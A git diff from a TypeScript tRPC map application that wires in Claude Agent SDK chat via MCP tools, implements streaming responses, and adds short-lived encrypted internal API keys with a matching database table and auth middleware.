**`trpc.ts`**: Contains the core tRPC setup, including context creation (e.g., `createTRPCContext`), middleware (like timing or service-specific middleware such as `mappingServiceMiddleware`), and procedure helpers (`publicProcedure`, `protectedProcedure`). -- **`routers/`**: This directory holds the specific routers for different parts of your API. For example, `map.ts` defines routes related to map operations (creating, fetching, updating maps and map items). +- **`routers/`**: This directory holds the specific routers for different parts of your API. For example: + - `map.ts` - Map operations, tile management, and MCP tools for Claude Agent SDK + - `agentic.ts` - AI chat, response generation with MCP tool integration + - `auth.ts` - Authentication endpoints + - `user.ts` - User profile and settings + - `mcp/` - MCP API key management for external tool access - **`types/`**: Includes API-specific type definitions and adapters. For instance, `contracts.ts` provides functions to adapt domain layer contract types to API response types (e.g., `mapItemContractToApiAdapter`, `mapContractToApiAdapter`). - **`CACHING.md`**: A markdown file detailing the caching strategies employed for the HexMap application, particularly focusing on tRPC middleware and route handler caching. @@ -84,6 +89,47 @@ export const userRouter = createTRPCRouter({ - **Maintainability**: Changes to workflows don't affect domain logic - **Scalability**: Domains can be split into separate services if needed +### MCP Tools Integration (Claude Agent SDK) + +The server layer bridges the Agentic and Mapping domains through **MCP (Model Context Protocol) tools**. These tools enable Claude Agent SDK to interact with the hexagonal map while preserving domain independence: + +```typescript +// Example: Agentic router using MCP tools from map router +import { createMCPTools } from '~/server/api/routers/map' + +export const agenticRouter = createTRPCRouter({ + generateResponse: protectedProcedure + .use(mappingServiceMiddleware) + .use(iamServiceMiddleware) + .mutation(async ({ ctx, input }) => { + // Create MCP tools from context (wraps MappingService + IAMService) + const mcpTools = createMCPTools(ctx) + + // Pass to agentic service + const response = await agenticService.generateResponse({ + tools: mcpTools, + // ... other params + }) + + return response + }) +}) +``` + +#### MCP Tools Architecture: + +1. **Domain Independence**: MCP tools are created in `map` router but consume both domains +2. **Context Wrapping**: Tools wrap `MappingService` and `IAMService` from middleware context +3. **Type Safety**: Full type safety from tRPC context through to SDK tool definitions +4. **Testability**: Tools can be tested independently with mocked services + +#### Available MCP Tools: + +- **Query Tools**: `getItemsForRootItem`, `getItemByCoords`, `getCurrentUser` +- **Item Tools**: `addItem`, `updateItem`, `deleteItem`, `moveItem` + +See `src/server/api/routers/map/_mcp-tools/` for implementation details. + ### Service Architecture Services (like `MappingService` injected via middleware) encapsulate business logic within their domain, interacting with repositories that abstract database operations. The services expose domain operations to the API layer but never interact with other domain services directly. diff --git a/src/server/api/dependencies.json b/src/server/api/dependencies.json index 1ae4ed1a5..165b846ec 100644 --- a/src/server/api/dependencies.json +++ b/src/server/api/dependencies.json @@ -7,10 +7,10 @@ "~/env", "~/lib/domains", "~/lib/utils/event-bus", + "~/lib/utils/request-context", "~/server/auth", "~/server/db", - "~/lib/debug/debug-logger", - "~/app/map" + "~/lib/debug/debug-logger" ], "subsystems": [ "./middleware", diff --git a/src/server/api/routers/agentic/README.md b/src/server/api/routers/agentic/README.md index 361ef100b..2285ae424 100644 --- a/src/server/api/routers/agentic/README.md +++ b/src/server/api/routers/agentic/README.md @@ -5,12 +5,14 @@ Like a telephone switchboard operator - receives AI chat requests from the front ## Responsibilities - Provide tRPC API endpoints for AI chat generation (`generateResponse`, `generateStreamingResponse`) +- Handle SDK async generator for streaming responses with proper chunk accumulation - Handle job status polling and real-time subscription for queued operations (`getJobStatus`, `watchJobStatus`) - Enforce verification-aware rate limiting for AI requests (10 req/5min verified, 3 req/5min unverified) - Manage AI model discovery and listing (`getAvailableModels`) - Bridge frontend chat interface with agentic domain services through proper context preparation ## Non-Responsibilities +- MCP tool definitions and implementation → See `~/app/services/mcp/` (HTTP MCP server) - LLM provider logic and model implementations → See `~/lib/domains/agentic/README.md` - Authentication and session management → See `~/server/api/trpc.ts` middleware - Chat UI state and message rendering → See `~/app/map/README.md` diff --git a/src/server/api/routers/agentic/agentic.ts b/src/server/api/routers/agentic/agentic.ts index 2f080c1e0..6c721a2cf 100644 --- a/src/server/api/routers/agentic/agentic.ts +++ b/src/server/api/routers/agentic/agentic.ts @@ -1,30 +1,37 @@ import { z } from 'zod' import { TRPCError } from '@trpc/server' -import { createTRPCRouter, protectedProcedure } from '~/server/api/trpc' +import { createTRPCRouter, protectedProcedure, mappingServiceMiddleware, iamServiceMiddleware } from '~/server/api/trpc' import { verificationAwareRateLimit, verificationAwareAuthLimit } from '~/server/api/middleware' -import { createAgenticService, type CompositionConfig, PreviewGeneratorService, OpenRouterRepository } from '~/lib/domains/agentic' +import { createAgenticService, type CompositionConfig, PreviewGeneratorService, OpenRouterRepository, type ChatMessageContract } from '~/lib/domains/agentic' +import { ContextStrategies } from '~/lib/domains/mapping/utils' import { EventBus as EventBusImpl } from '~/lib/utils/event-bus' -import type { CacheState } from '~/app/map' -import type { ChatMessage } from '~/app/map' import { env } from '~/env' import { db, schema } from '~/server/db' const { llmJobResults } = schema import { eq } from 'drizzle-orm' import { nanoid } from 'nanoid' - -// Message schema matching the Chat component +import type { MappingService } from '~/lib/domains/mapping' + +function getMapContextFromConfig( + canvasStrategy: string | undefined, + mappingService: MappingService, + centerCoordId: string +) { + const contextStrategy = canvasStrategy === 'minimal' ? ContextStrategies.MINIMAL : + canvasStrategy === 'extended' ? ContextStrategies.EXTENDED : + canvasStrategy === 'focused' ? ContextStrategies.FOCUSED : + ContextStrategies.STANDARD + + return mappingService.context.getContextForCenter(centerCoordId, contextStrategy) +} + +// ChatMessage contract schema const chatMessageSchema = z.object({ id: z.string(), type: z.enum(['user', 'assistant', 'system']), - content: z.union([ - z.string(), - z.object({ - type: z.enum(['tile', 'search', 'comparison', 'action', 'creation', 'login', 'confirm-delete', 'loading', 'error', 'ai-response']), - data: z.unknown() - }) - ]), + content: z.string(), // Always string - widgets are pre-serialized by frontend metadata: z.object({ - timestamp: z.date(), + timestamp: z.string().optional(), // ISO string tileId: z.string().optional() }).optional() }) @@ -57,58 +64,53 @@ const compositionConfigSchema = z.object({ }).optional() }) -// Tile data schema for cache state -const tileDataSchema = z.object({ - metadata: z.object({ - coordId: z.string(), - coordinates: z.object({ - userId: z.number(), - groupId: z.number(), - path: z.array(z.number()) - }), - parentId: z.string().optional(), - depth: z.number() - }), - data: z.object({ - title: z.string(), - content: z.string(), - preview: z.string().optional(), - link: z.string(), - color: z.string() - }) -}) - -const cacheStateSchema = z.object({ - itemsById: z.record(z.string(), tileDataSchema), - currentCenter: z.string() -}) export const agenticRouter = createTRPCRouter({ generateResponse: protectedProcedure .use(verificationAwareRateLimit) // Rate limit: 10 req/5min for verified, 3 req/5min for unverified + .use(mappingServiceMiddleware) // Add mapping service to context + .use(iamServiceMiddleware) // Add IAM service to context .input( z.object({ centerCoordId: z.string(), messages: z.array(chatMessageSchema), - model: z.string().default('deepseek/deepseek-r1-0528'), + model: z.string().default('claude-haiku-4-5-20251001'), temperature: z.number().min(0).max(2).optional(), maxTokens: z.number().min(1).max(8192).optional(), compositionConfig: compositionConfigSchema.optional(), - cacheState: cacheStateSchema }) ) .mutation(async ({ input, ctx }) => { + // Fetch map context using mapping domain service + const mapContext = await getMapContextFromConfig( + input.compositionConfig?.canvas?.strategy ?? 'standard', + ctx.mappingService, + input.centerCoordId + ) + // Create a server-side event bus instance const eventBus = new EventBusImpl() - + // Determine if we should use queue based on environment const useQueue = process.env.USE_QUEUE === 'true' || process.env.NODE_ENV === 'production' - // Create agentic service with OpenRouter API key from environment + // Get or create short-lived session MCP API key (10 min TTL for security) + // This limits exposure if AI code steals the key - it expires after the session + const { getOrCreateInternalApiKey } = await import('~/lib/domains/iam') + const mcpApiKey = ctx.session?.userId + ? await getOrCreateInternalApiKey(ctx.session.userId, 'mcp-session', 10) + : undefined + + // Create agentic service with Claude SDK (preferred) or OpenRouter fallback const agenticService = createAgenticService({ - openRouterApiKey: env.OPENROUTER_API_KEY ?? '', + llmConfig: { + openRouterApiKey: env.OPENROUTER_API_KEY ?? '', + anthropicApiKey: env.ANTHROPIC_API_KEY ?? '', + preferClaudeSDK: true, // Use Claude Agent SDK when anthropicApiKey is available + useSandbox: env.USE_SANDBOX === 'true', // Use Vercel Sandbox in production + mcpApiKey // Pass MCP key from IAM domain + }, eventBus, - getCacheState: () => input.cacheState as unknown as CacheState, useQueue, userId: ctx.session?.userId ?? 'anonymous' }) @@ -121,9 +123,10 @@ export const agenticRouter = createTRPCRouter({ } // Generate the response + // MCP tools are provided by the HTTP MCP server at /api/mcp const response = await agenticService.generateResponse({ - centerCoordId: input.centerCoordId, - messages: input.messages as ChatMessage[], // Type mismatch due to zod schema limitations + mapContext, + messages: input.messages as ChatMessageContract[], model: input.model, temperature: input.temperature, maxTokens: input.maxTokens, @@ -152,38 +155,100 @@ export const agenticRouter = createTRPCRouter({ generateStreamingResponse: protectedProcedure .use(verificationAwareRateLimit) // Rate limit: 10 req/5min for verified, 3 req/5min for unverified + .use(mappingServiceMiddleware) // Add mapping service to context + .use(iamServiceMiddleware) // Add IAM service to context .input( z.object({ centerCoordId: z.string(), messages: z.array(chatMessageSchema), - model: z.string().default('deepseek/deepseek-r1-0528'), + model: z.string().default('claude-haiku-4-5-20251001'), temperature: z.number().min(0).max(2).optional(), maxTokens: z.number().min(1).max(8192).optional(), compositionConfig: compositionConfigSchema.optional(), - cacheState: cacheStateSchema }) ) - .mutation(async () => { - // TODO: Implement streaming functionality - // This will require: - // 1. WebSocket or Server-Sent Events infrastructure - // 2. Stream handling in the OpenRouter repository - // 3. Progressive token emission to the client - // For now, return a simple error since streaming requires different infrastructure - throw new Error('Streaming not yet implemented. Use generateResponse for now.') + .mutation(async ({ input, ctx }) => { + // Fetch map context using mapping domain service + const mapContext = await getMapContextFromConfig( + input.compositionConfig?.canvas?.strategy ?? 'standard', + ctx.mappingService, + input.centerCoordId + ) + + // Create a server-side event bus instance + const eventBus = new EventBusImpl() + + // Get or create short-lived session MCP API key (10 min TTL for security) + // This limits exposure if AI code steals the key - it expires after the session + const { getOrCreateInternalApiKey } = await import('~/lib/domains/iam') + const mcpApiKey = ctx.session?.userId + ? await getOrCreateInternalApiKey(ctx.session.userId, 'mcp-session', 10) + : undefined + + // Create agentic service with Claude SDK (preferred) or OpenRouter fallback + const agenticService = createAgenticService({ + llmConfig: { + openRouterApiKey: env.OPENROUTER_API_KEY ?? '', + anthropicApiKey: env.ANTHROPIC_API_KEY ?? '', + preferClaudeSDK: true, // Use Claude Agent SDK when anthropicApiKey is available + useSandbox: env.USE_SANDBOX === 'true', // Use Vercel Sandbox in production + mcpApiKey // Pass MCP key from IAM domain + }, + eventBus, + useQueue: false, // Streaming doesn't use queue + userId: ctx.session?.userId ?? 'anonymous' + }) + + if (!agenticService.isConfigured()) { + throw new TRPCError({ + code: 'BAD_REQUEST', + message: 'API key not configured. Please set OPENROUTER_API_KEY or ANTHROPIC_API_KEY environment variable.', + }) + } + + // Handle SDK async generator for streaming + const chunks: Array<{ content: string; isFinished: boolean }> = [] + + // Generate streaming response + // MCP tools are provided by the HTTP MCP server at /api/mcp + const response = await agenticService.generateStreamingResponse( + { + mapContext, + messages: input.messages as ChatMessageContract[], + model: input.model, + temperature: input.temperature, + maxTokens: input.maxTokens, + compositionConfig: input.compositionConfig as CompositionConfig + }, + (chunk) => { + chunks.push(chunk) + } + ) + + // Return complete response with accumulated chunks + return { + id: response.id, + content: response.content, + model: response.model, + usage: response.usage, + finishReason: response.finishReason, + chunks + } }), getAvailableModels: protectedProcedure .use(verificationAwareAuthLimit) // Rate limit: 100 req/min for verified, 20 req/min for unverified .query(async () => { const eventBus = new EventBusImpl() - + const agenticService = createAgenticService({ - openRouterApiKey: env.OPENROUTER_API_KEY ?? '', - eventBus, - getCacheState: () => { - throw new Error('Cache state not needed for listing models') - } + llmConfig: { + openRouterApiKey: env.OPENROUTER_API_KEY ?? '', + anthropicApiKey: env.ANTHROPIC_API_KEY ?? '', + preferClaudeSDK: true, // Use Claude Agent SDK when anthropicApiKey is available + useSandbox: env.USE_SANDBOX === 'true' // Use Vercel Sandbox in production + }, + eventBus }) if (!agenticService.isConfigured()) { diff --git a/src/server/api/routers/agentic/dependencies.json b/src/server/api/routers/agentic/dependencies.json index 805992c76..4a605e31e 100644 --- a/src/server/api/routers/agentic/dependencies.json +++ b/src/server/api/routers/agentic/dependencies.json @@ -7,8 +7,10 @@ "~/app/map", "~/env", "~/lib/domains/agentic", + "~/lib/domains/mapping", "~/lib/utils/event-bus", "~/server/api/middleware", + "~/server/api/routers/map", "~/server/api/trpc", "~/server/db" ], diff --git a/src/server/api/routers/map/README.md b/src/server/api/routers/map/README.md index b1cef14dd..3f1663ec3 100644 --- a/src/server/api/routers/map/README.md +++ b/src/server/api/routers/map/README.md @@ -12,12 +12,14 @@ Like a telephone switchboard operator, connecting frontend map requests to the r - Expose composition queries (getComposedChildren, hasComposition) for direction 0 child tiles - Expose version history queries (getItemHistory, getItemVersion) with pagination support - Expose deep copy operation (copyMapItem) with ownership validation for copying items and their subtrees +- Provide MCP (Model Context Protocol) tools for AI agent integration via Claude Agent SDK ## Non-Responsibilities - Business logic and domain rules → See `~/lib/domains/mapping/README.md` - Database operations and persistence → See `~/lib/domains/mapping/README.md` - User authentication and session management → See `~/server/api/trpc/README.md` - Response caching and performance optimization → See `~/server/api/services/README.md` +- MCP tool definitions and SDK integration → See `./_mcp-tools/README.md` ## Interface *See `index.ts` for the public API - the ONLY exports other subsystems can use* diff --git a/src/server/api/routers/map/dependencies.json b/src/server/api/routers/map/dependencies.json index ed64122d1..8544fe707 100644 --- a/src/server/api/routers/map/dependencies.json +++ b/src/server/api/routers/map/dependencies.json @@ -4,6 +4,8 @@ "@trpc/server", "zod", "~/lib/domains/mapping", + "~/lib/domains/iam", + "~/lib/domains/agentic", "~/server/api/services", "~/server/api/trpc", "~/server/api/types/contracts" diff --git a/src/server/api/routers/map/index.ts b/src/server/api/routers/map/index.ts index ea5c84390..fa8f5b7c9 100644 --- a/src/server/api/routers/map/index.ts +++ b/src/server/api/routers/map/index.ts @@ -1,6 +1,6 @@ /** * Public API for Map Router - * + * * Consumers: src/server/api/root.ts */ diff --git a/src/server/api/routers/map/map-items.ts b/src/server/api/routers/map/map-items.ts index b7428ea71..cca689cc0 100644 --- a/src/server/api/routers/map/map-items.ts +++ b/src/server/api/routers/map/map-items.ts @@ -79,7 +79,7 @@ export const mapItemsRouter = createTRPCRouter({ const coords = input.coords as Coord; const currentUserId = await _getUserId(ctx.user); const currentUserIdString = String(currentUserId); - + // If creating a root item, ensure it's in user's own space if (coords.path.length === 0 && coords.userId !== currentUserId) { throw new TRPCError({ @@ -87,7 +87,7 @@ export const mapItemsRouter = createTRPCRouter({ message: "You can only create root items in your own space", }); } - + // If creating a child item, check parent ownership const hasExplicitParent = input.parentId !== null && input.parentId !== undefined; if (hasExplicitParent) { @@ -111,7 +111,7 @@ export const mapItemsRouter = createTRPCRouter({ }); } } - + const mapItem = await ctx.mappingService.items.crud.addItemToMap({ parentId: input.parentId ?? null, coords: coords, diff --git a/src/server/api/trpc.ts b/src/server/api/trpc.ts index 79cd0d0f6..6b9de68cd 100644 --- a/src/server/api/trpc.ts +++ b/src/server/api/trpc.ts @@ -27,7 +27,10 @@ import type { IncomingHttpHeaders } from "http"; /** * Helper function to extract API key from headers */ -function getApiKeyFromHeaders(headers: IncomingHttpHeaders): string | undefined { +function getApiKeyFromHeaders(headers: IncomingHttpHeaders | Headers): string | undefined { + if (headers instanceof Headers) { + return headers.get('x-api-key') ?? undefined; + } const apiKey = headers["x-api-key"]; return Array.isArray(apiKey) ? apiKey[0] : apiKey; } @@ -79,25 +82,37 @@ export const createContext = async (opts: CreateNextContextOptions) => { sessionAPIAcceptableHeaders = convertToHeaders(req.headers); } - const sessionData = await auth.api.getSession({ - headers: sessionAPIAcceptableHeaders, - // `request` property removed as it's not accepted by getSession according to linter - }); - - loggers.api(`TRPC CONTEXT: Session data from better-auth`, { - hasSessionData: !!sessionData, - hasSession: !!sessionData?.session, - hasUser: !!sessionData?.user, - }); + try { + const sessionData = await auth.api.getSession({ + headers: sessionAPIAcceptableHeaders, + // `request` property removed as it's not accepted by getSession according to linter + }); - return { - req, - res, - db, - session: sessionData ? sessionData.session : null, - user: sessionData ? sessionData.user : null, - headers: req.headers, // Keep original IncomingHttpHeaders for other parts of context if needed - }; + loggers.api(`TRPC CONTEXT: Session data from better-auth`, { + hasSessionData: !!sessionData, + hasSession: !!sessionData?.session, + hasUser: !!sessionData?.user, + }); + + return { + req, + res, + db, + session: sessionData ? sessionData.session : null, + user: sessionData ? sessionData.user : null, + headers: req.headers, // Keep original IncomingHttpHeaders for other parts of context if needed + }; + } catch { + // If session retrieval fails, continue with null session (API key auth can still work) + return { + req, + res, + db, + session: null, + user: null, + headers: req.headers, + }; + } }; /** @@ -248,49 +263,78 @@ export const protectedProcedure = t.procedure.use(({ ctx, next }) => { /** * MCP API Key authenticated procedure - * + * * This procedure authenticates requests using API keys from the x-api-key header. - * Used by the MCP server to authenticate write operations. + * Supports both: + * - External API keys (user-created, hashed) for third-party integrations + * - Internal API keys (system-created, encrypted) for MCP server-to-server auth */ export const mcpAuthProcedure = t.procedure.use(async ({ ctx, next }) => { const apiKey = getApiKeyFromHeaders(ctx.headers); - + if (!apiKey) { - throw new TRPCError({ + throw new TRPCError({ code: "UNAUTHORIZED", - message: "API key required" + message: "API key required" }); } try { - // Use better-auth's API key validation - const result = await auth.api.verifyApiKey({ - body: { key: apiKey } + // Try internal API key first (from IAM domain, for MCP server-to-server auth) + const { validateInternalApiKey } = await import('~/lib/domains/iam'); + const userIdHint = ctx.headers instanceof Headers + ? ctx.headers.get('x-user-id') ?? undefined + : (Array.isArray(ctx.headers['x-user-id']) ? ctx.headers['x-user-id'][0] : ctx.headers['x-user-id']); + const internalResult = await validateInternalApiKey(apiKey, userIdHint); + + if (internalResult) { + // Internal key validated - create user context + const user = { id: internalResult.userId }; + + return next({ + ctx: { + ...ctx, + user, + session: null, + apiKeyAuth: true, + internalApiKey: true, // Flag to indicate this is internal key + }, + }); + } + + // Fall back to external API key validation (better-auth) + const result = await auth.api.verifyApiKey({ + body: { key: apiKey } }); - + if (!result.valid) { - throw new TRPCError({ + throw new TRPCError({ code: "UNAUTHORIZED", - message: "Invalid API key" + message: "Invalid API key" }); } - // Create a mock user context from the API key + // Create a user context from the external API key const user = { id: result.key?.userId ?? "" }; - + return next({ ctx: { ...ctx, user, - session: null, // API key auth doesn't have sessions - apiKeyAuth: true, // Flag to indicate this is API key auth + session: null, + apiKeyAuth: true, + internalApiKey: false, // External key }, }); } catch (error) { - console.error("API key validation error:", error); - throw new TRPCError({ + // Re-throw TRPC errors as-is, wrap others + if (error instanceof TRPCError) { + throw error; + } + + throw new TRPCError({ code: "UNAUTHORIZED", - message: "API key validation failed" + message: "API key validation failed" }); } }); @@ -316,15 +360,37 @@ export const dualAuthProcedure = t.procedure.use(async ({ ctx, next }) => { // Fall back to API key auth const apiKey = getApiKeyFromHeaders(ctx.headers); - + if (!apiKey) { - throw new TRPCError({ + throw new TRPCError({ code: "UNAUTHORIZED", - message: "Authentication required - provide session or API key" + message: "Authentication required - provide session or API key" }); } try { + // Try internal API key first (from IAM domain) + const { validateInternalApiKey } = await import('~/lib/domains/iam'); + const userIdHint = ctx.headers instanceof Headers + ? ctx.headers.get('x-user-id') ?? undefined + : (Array.isArray(ctx.headers['x-user-id']) ? ctx.headers['x-user-id'][0] : ctx.headers['x-user-id']); + const internalResult = await validateInternalApiKey(apiKey, userIdHint); + + if (internalResult) { + const user = { id: internalResult.userId }; + + return next({ + ctx: { + ...ctx, + user, + session: null, + apiKeyAuth: true, + internalApiKey: true, + }, + }); + } + + // Fall back to external API key (better-auth) const result = await auth.api.verifyApiKey({ body: { key: apiKey } }); @@ -341,17 +407,22 @@ export const dualAuthProcedure = t.procedure.use(async ({ ctx, next }) => { throw new TRPCError({ code: "UNAUTHORIZED", message: "API key not linked to a user" }); } const user = { id: userId }; - + return next({ ctx: { ...ctx, user, session: null, apiKeyAuth: true, + internalApiKey: false, }, }); } catch (error) { - console.error("Authentication error:", error); + // Re-throw TRPC errors as-is + if (error instanceof TRPCError) { + throw error; + } + throw new TRPCError({ code: "UNAUTHORIZED", message: "Authentication failed" diff --git a/src/server/db/schema/_tables/auth/internal-api-keys.ts b/src/server/db/schema/_tables/auth/internal-api-keys.ts new file mode 100644 index 000000000..8ef4db3cd --- /dev/null +++ b/src/server/db/schema/_tables/auth/internal-api-keys.ts @@ -0,0 +1,53 @@ +import { + pgTable, + text, + timestamp, + boolean, + uniqueIndex, +} from "drizzle-orm/pg-core"; +import { sql } from "drizzle-orm"; +import { users } from "~/server/db/schema/_tables/auth/users"; + +/** + * Internal API keys for server-to-server communication + * + * Unlike user-facing API keys (apiKeys table), these are: + * - ENCRYPTED (not hashed) so server can retrieve plaintext + * - NEVER exposed to client (server-only) + * - Auto-managed (user doesn't see or copy them) + * - Used for MCP server authentication + * + * Security model: + * - Keys stored encrypted with ENCRYPTION_KEY env var + * - Never returned in tRPC responses + * - Only used server-side to authenticate with internal services + * - One active key per (userId, purpose) pair enforced by DB constraint + */ +export const internalApiKeys = pgTable("internal_api_key", { + id: text("id").primaryKey(), + userId: text("user_id") + .notNull() + .references(() => users.id, { onDelete: "cascade" }), + + // Purpose identifier (e.g., 'mcp') + purpose: text("purpose").notNull(), + + // ENCRYPTED key (not hashed - we need to decrypt it for use) + // Format: iv:encrypted:authTag (hex-encoded) + encryptedKey: text("encrypted_key").notNull(), + + // Metadata + isActive: boolean("is_active").default(true).notNull(), + createdAt: timestamp("created_at").notNull().defaultNow(), + lastUsedAt: timestamp("last_used_at"), + expiresAt: timestamp("expires_at"), +}, (table) => ({ + // Partial unique index: only one active key per (userId, purpose) + // This allows keeping inactive keys for auditing while preventing duplicates + uniqueActiveKeyPerUserPurpose: uniqueIndex("unique_active_key_per_user_purpose") + .on(table.userId, table.purpose) + .where(sql`${table.isActive} = true`), +})); + +export type InternalApiKey = typeof internalApiKeys.$inferSelect; +export type NewInternalApiKey = typeof internalApiKeys.$inferInsert; diff --git a/src/server/db/schema/index.ts b/src/server/db/schema/index.ts index c8d7fb943..3d34a54bd 100644 --- a/src/server/db/schema/index.ts +++ b/src/server/db/schema/index.ts @@ -21,6 +21,7 @@ export * from "~/server/db/schema/_tables/auth/accounts"; export * from "~/server/db/schema/_tables/auth/sessions"; export * from "~/server/db/schema/_tables/auth/verificationTokens"; export * from "~/server/db/schema/_tables/auth/api-keys"; +export * from "~/server/db/schema/_tables/auth/internal-api-keys"; // Mapping/domain-specific tables export * from "~/server/db/schema/_tables/mapping/base-items";